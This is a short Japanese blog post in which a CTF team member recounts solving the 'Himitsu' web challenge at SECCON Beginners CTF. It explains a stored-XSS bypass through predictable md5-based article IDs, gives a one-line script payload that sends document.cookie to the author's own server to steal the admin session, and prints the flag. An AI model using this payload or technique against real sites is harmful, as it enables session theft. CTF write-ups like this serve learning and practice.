seccon の beginners ctf にチームKUDoSで参加しました.
KUDoSは666チーム中9位でした
チームメンバーに感謝❗
僕はweb問3つ通しました
Himitsu(web) (32/666) solves
リンクとソースコードが与えられました
ユーザ登録,ログインすると,記事一覧のページになります
- 記事一覧
- 投稿画面
投稿画面の本文部分に[#記事ID#]
を入力すると,その記事の記事名が表示されてリンクされる,と書いてあります
scriptタグ入れてみます
投稿した記事を管理者に報告できる機能があるようです
しっかりサニタイズされているので,XSSは難しそう
重要そうなソースだけ貼っておきます
schema.sql
adminの記事がflagらしい.
flagを見る方法として,
1,記事IDを知り,直接アクセスする.
2,adminのセッションIDを盗み,adminの記事を見る.
のどちらかと考えました
ArticleMapper.php
記事IDはmd5(ユーザ名+日時+タイトル名)
で決まるようです.
ArticleController.php
次に,[#記事ID#]
を使って,別記事のタイトルにXSSを仕込みましたが,無理でした.
しかし,先に本文に,[#md5(ユーザ名+3分くらい先の時間+XSSコード)#]
を含む記事を作っておき,
後からタイトルがこのXSSコードの記事を作成すれば,これをbypassできます.
タイトルは,<script>location.href="myserver?"+document.cookie</script>
のようにしました.
flag:ctf4b{simple_xss_just_do_it_haha_haha}
4人で得点しましたがcrypt,pwn,miscそれぞれ強い人がいて良い感じにバランスが取れてたと思います
webはもうちょっと頑張りたいですね...(´・_・`)